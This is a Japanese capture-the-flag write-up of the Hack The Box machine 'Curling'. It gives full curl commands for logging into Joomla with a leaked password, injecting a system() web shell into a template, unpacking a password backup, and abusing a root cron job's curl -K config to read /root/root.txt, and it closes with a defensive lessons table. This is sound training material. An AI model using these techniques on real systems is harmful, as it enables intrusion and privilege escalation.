Hack The BoxのWriteup(Curling)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Curling — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http (Joomla)
→
HTMLコメント /secret.txt
base64→Curling2018!
→
/administrator/ ログイン
floris:Curling2018!
→
Protostarテンプレ編集
system($_REQUEST[‘pwn’])注入
→
www-data RCE
/index.php?pwn=
→
password_backup多重解凍
xxd→bzip2→gzip→bzip2→tar
→
SSH floris
user.txt ✓
→
root cronのcurl -K悪用
file:// exfil
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.84.220
nmap -sV -sC -p 22,80 10.129.84.220
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5
80/tcp open  http    Apache httpd 2.4.29

サイト確認 — Joomla! の検出

BASH
curl -s http://10.129.84.220/
RESULT (抜粋)
<meta name="generator" content="Joomla! - Open Source Content Management" />
<title>Home</title>
...
<span class="site-title" title="Cewl Curling site!">Cewl Curling site!</span>
ℹ️
generatorメタタグとフッターからJoomla! 3.8.8系であることが判明。 Joomlaはテンプレート編集機能(com_templates)を悪用したRCEの定番ターゲット。
PHASE 2

資格情報の発見 & 管理パネルへのログイン

/secret.txt の発見とデコード

BASH
# トップページのHTMLソースに "secret.txt" というコメントの手掛かりがある
curl -s http://10.129.84.220/secret.txt
RESULT
Q3VybGluZzIwMTgh
BASH
echo "Q3VybGluZzIwMTgh" | base64 -d
RESULT
Curling2018!

Joomla管理パネル (/administrator/) へのログイン

BASH
# ログインフォームからCSRFトークン(32桁16進のhiddenフィールド名)を取得
curl -s -c cookies.txt http://10.129.84.220/administrator/index.php
# フォーム内: <input type="hidden" name="<32hex>" value="1" />

curl -s -c cookies.txt -b cookies.txt -L \
  http://10.129.84.220/administrator/index.php \
  --data-urlencode "username=floris" \
  --data-urlencode "passwd=Curling2018!" \
  --data-urlencode "option=com_login" \
  --data-urlencode "task=login" \
  --data-urlencode "return=aW5kZXgucGhw" \
  --data-urlencode "<取得したCSRFトークン名>=1"
RESULT
(リダイレクト後、管理パネルのControl Panel画面が返る → ログイン成功)
✅
認証成功: floris:Curling2018!。ユーザー名は投稿記事の著者名 (フロントページの記事に”Floris”というSuper Userが表示されている)から特定できる。
PHASE 3

Protostarテンプレート編集によるRCE → user.txt

テンプレート一覧 & 編集画面の取得

BASH
curl -s -b cookies.txt \
  "http://10.129.84.220/administrator/index.php?option=com_templates&view=templates"
# → Protostar テンプレートの id (通常 506) を確認

curl -s -b cookies.txt \
  "http://10.129.84.220/administrator/index.php?option=com_templates&view=template&id=506&file=Ly9pbmRleC5waHA="
ℹ️
file=パラメータは編集したいファイルパス(ここでは//index.php、 先頭が2重スラッシュ)をbase64エンコードした値。echo -n '//index.php' | base64 で Ly9pbmRleC5waHA= が得られる。

index.php テンプレートソースに system() を注入

NOTE
# 編集画面から以下を抽出する:
#  - CSRFトークン: name="<32hex>" value="1"
#  - 現在のソース: <textarea name="jform[source]">...</textarea> (HTMLエンティティをデコード)
#  - jform[extension_id] の値 (隠しフィールド, 例:506)
#  - jform[filename] の値 (隠しフィールド, 例: "//index.php")
#
# ソース先頭の "<?php" の直後に1行追加する:
#   <?php
#   system($_REQUEST['pwn']);
#   (...以下、元のテンプレートソースをそのまま残す...)
BASH
curl -s -b cookies.txt -L \
  "http://10.129.84.220/administrator/index.php?option=com_templates&task=template.apply&id=506&file=Ly9pbmRleC5waHA=" \
  --data-urlencode "jform[source]=<?php
system(\$_REQUEST['pwn']);
(...元のソース全文...)" \
  --data-urlencode "task=template.apply" \
  --data-urlencode "jform[extension_id]=506" \
  --data-urlencode "jform[filename]=//index.php" \
  --data-urlencode "<CSRFトークン名>=1"
🚨
最大のハマりポイント: jform[filename]に/index.php (スラッシュ1個)を送ると、Joomlaのcom_templatesは “Stored ID does not match the submitted one.”というエラーを返して保存を 無言で拒否する。編集画面を開いた時点のセッションに記録された extension_id+filenameの組合せと、保存時に送信する値が完全に一致している必要があるため、 編集画面の隠しフィールドに実際に入っている値(//index.php、先頭2重スラッシュ)を そのまま再送しなければならない。レスポンスのHTTPステータスは200で返ってくるため、 一見成功したように見えてしまう点が特に厄介(エラーメッセージの文字列を明示的に確認する必要がある)。

RCE確認

BASH
curl -s -G "http://10.129.84.220/index.php" --data-urlencode "pwn=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<!DOCTYPE html>
... (以下、通常のJoomlaフロントページHTML) ...
✅
RCE成功! 保存したテンプレートがフロントページ(/index.php)で 実際に使われているため、?pwn=<コマンド>を付けてアクセスするだけで、 ページ本文が始まる直前にsystem()の出力がそのまま出力される。

password_backup の取得 — xxdダンプの多重解凍

BASH
curl -s -G "http://10.129.84.220/index.php" \
  --data-urlencode "pwn=cat /home/floris/password_backup"
RESULT (抜粋、xxd形式)
00000000: 425a 6839 3141 5926 5359 819b bb48 0000  BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34  ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960  N...n.T.#.@%...`
...(中略)...
000000f0: 819b bb48                                ...H
<!DOCTYPE html>
... (以下、通常のJoomlaフロントページHTML、ここは無視する) ...
⚠️
2つ目のハマりポイント: レスポンスには、xxdダンプの直後に通常のJoomlaページ 本文(<!DOCTYPE html>...)がそのまま続けて出力される。 「00000000:から最初の</タグまで」のような大雑把な切り出し方をすると、 <!DOCTYPE html>には閉じタグが無いため意図せず後続のHTML本文まで 切り出し範囲に混入してしまい、できあがるファイルが壊れて次のxxd -rが 失敗する。確実なのは、「8桁16進+コロンで始まる行」だけを行単位で抽出する方式 (grep -E '^[0-9a-f]{8}: 'のような行フィルタ)。
BASH
# xxd形式の行だけを抜き出してファイルへ保存
grep -E '^[0-9a-f]{8}: ' response.txt > password_backup

# xxd -r で元のバイナリへ戻し、bzip2 → gzip → bzip2 → tar を順に解凍
cat password_backup | xxd -r > bak
bzip2 -d -f bak        # bak → bak.out (拡張子無しのため自動命名)
mv bak.out bak.gz
gzip -d -f bak.gz      # bak.gz → bak
bzip2 -d -f bak        # bak → bak.out
mv bak.out bak.tar
tar xf bak.tar         # → password.txt が展開される
cat password.txt
RESULT
5d<wdCbdZu)|hChXll
✅
多重アーカイブの解凍成功! xxdダンプ(テキスト) → 元バイナリ → bzip2 → gzip → bzip2 → tar、という4段階のアーカイブ入れ子を順番に剥がすと、 最終的にpassword.txtにfloris用のSSHパスワードが現れる。 先頭バイト425a 6839(ASCIIで”BZh9″)がbzip2のマジックナンバーであることから 1段目のフォーマットが分かる。

SSHログイン & user.txt 取得

BASH
ssh floris@10.129.84.220
# パスワード: 5d<wdCbdZu)|hChXll

floris@curling:~$ cat /home/floris/user.txt
RESULT
17148f4a80c98ea6aec68c0574ae2a23
user.txt — floris
17148f4a80c98ea6aec68c0574ae2a23
PHASE 4

root cron の curl -K 悪用 → root.txt

cron構成の調査

BASH
floris@curling:~$ ls -la /home/floris/admin-area/
floris@curling:~$ cat /etc/crontab 2>/dev/null
floris@curling:~$ ls -la /var/spool/cron/crontabs/ 2>/dev/null
ℹ️
/home/floris/admin-area/配下にinput(floris所属グループが書込可能) というファイルがあり、root権限のcronジョブが定期的に curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report を実行していることが分かる。もう1つの別cronがcat /root/default.txt > inputで 数秒おきにinputを初期状態へ上書きリセットしている。

curl -K (config file) オプションの悪用

NOTE
curlの -K オプションは「設定ファイル」からオプションを読み込む機能。
設定ファイル内に以下のように書くと、file:// スキームで任意のローカルファイルを
"URL取得"対象にでき、その内容を -o で指定した出力ファイルへ書き出させられる。

  url = "file:///root/root.txt"
  output = "/home/floris/admin-area/report"

root権限で実行されるcronジョブがこの設定ファイル(input)を使ってcurlを
実行するため、root権限のcurlにroot.txtを読み取らせ、floris所有のreport
ファイルへ出力させることができる。

リセットcronとの競合を連続書込で回避

BASH
# リセットcronが数秒おきにinputを初期化してしまうため、
# cronの実行周期に当たるまで短い間隔で繰り返し書き込み続ける
floris@curling:~$ for i in $(seq 1 40); do
  printf 'url = "file:///root/root.txt"\noutput = "/home/floris/admin-area/report"\n' \
    > /home/floris/admin-area/input
  sleep 2
  if grep -qxE '[0-9a-f]{32}' /home/floris/admin-area/report 2>/dev/null; then
    break
  fi
done
cat /home/floris/admin-area/report
RESULT
3a33b42ac51da59574ffb7fc9c3b2621
✅
権限昇格成功! root権限のcurlがfile:///root/root.txtを “ダウンロード”し、floris所有のreportファイルへそのまま書き出した。
root.txt
3a33b42ac51da59574ffb7fc9c3b2621
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — floris
17148f4a80c98ea6aec68c0574ae2a23
root.txt
3a33b42ac51da59574ffb7fc9c3b2621

使用した脆弱性・設定不備

脆弱性/不備 対象 影響 深刻度 利用方法
HTMLコメント経由の資格情報漏洩 /secret.txt Joomla管理者パスワードの漏洩 Medium base64エンコードされた平文パスワードを取得
Joomlaテンプレート編集によるRCE com_templates (Protostarテンプレート) リモートコード実行 (www-data) Critical 管理者権限でテンプレートのPHPソースにsystem()を注入し、フロントエンド経由で任意コマンド実行
多段アーカイブ化されたパスワードバックアップ /home/floris/password_backup floris SSHパスワードの漏洩 High xxd→bzip2→gzip→bzip2→tarを順に解いてSSHパスワードを復元
curl -K config fileのfile://悪用 root cronジョブ (curl -K input -o report) 権限昇格 (root) Critical floris書込可能な設定ファイルにfile:///root/root.txtを指定し、root権限curlに読取・出力させる

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポートスキャン22/ssh, 80/http (Joomla! 3.8.8)
2資格情報/secret.txtのbase64デコードfloris:Curling2018! (管理パネル)
3エクスプロイトProtostarテンプレート編集でsystem()注入www-data RCE
3横移動password_backupの多段解凍floris:5d<wdCbdZu)|hChXll、user.txt取得
4権限昇格root cronのcurl -K file://悪用root.txt取得

学んだ教訓 & 防御策

問題点防御策
Webルート上に資格情報を含むファイル(secret.txt)が放置されている 機密情報をWebルート配下に置かない。デプロイ用の一時ファイルは本番公開前に必ず削除する。
CMS管理者アカウントがテンプレート編集権限を持ち、PHP実行が可能 最小権限の原則を適用し、管理者アカウントの権限を必要最小限に絞る。テンプレート編集機能自体をファイル整合性監視(FIM)で監視する。
SSHパスワードが(多段アーカイブで隠しただけで)平文で保存されている 難読化・多重圧縮は秘匿性の代替にならない。認証情報はシークレットマネージャ等で適切に管理する。
一般ユーザーが書込可能な設定ファイルをroot権限のcronがそのまま読み込んでいる root権限で実行するジョブが参照する設定ファイルは、低権限ユーザーの書込権限を与えない(root:root 600等)。cronジョブの入力は信頼境界を越えないよう設計する。
HackTheBox: Curling | 完全攻略レポート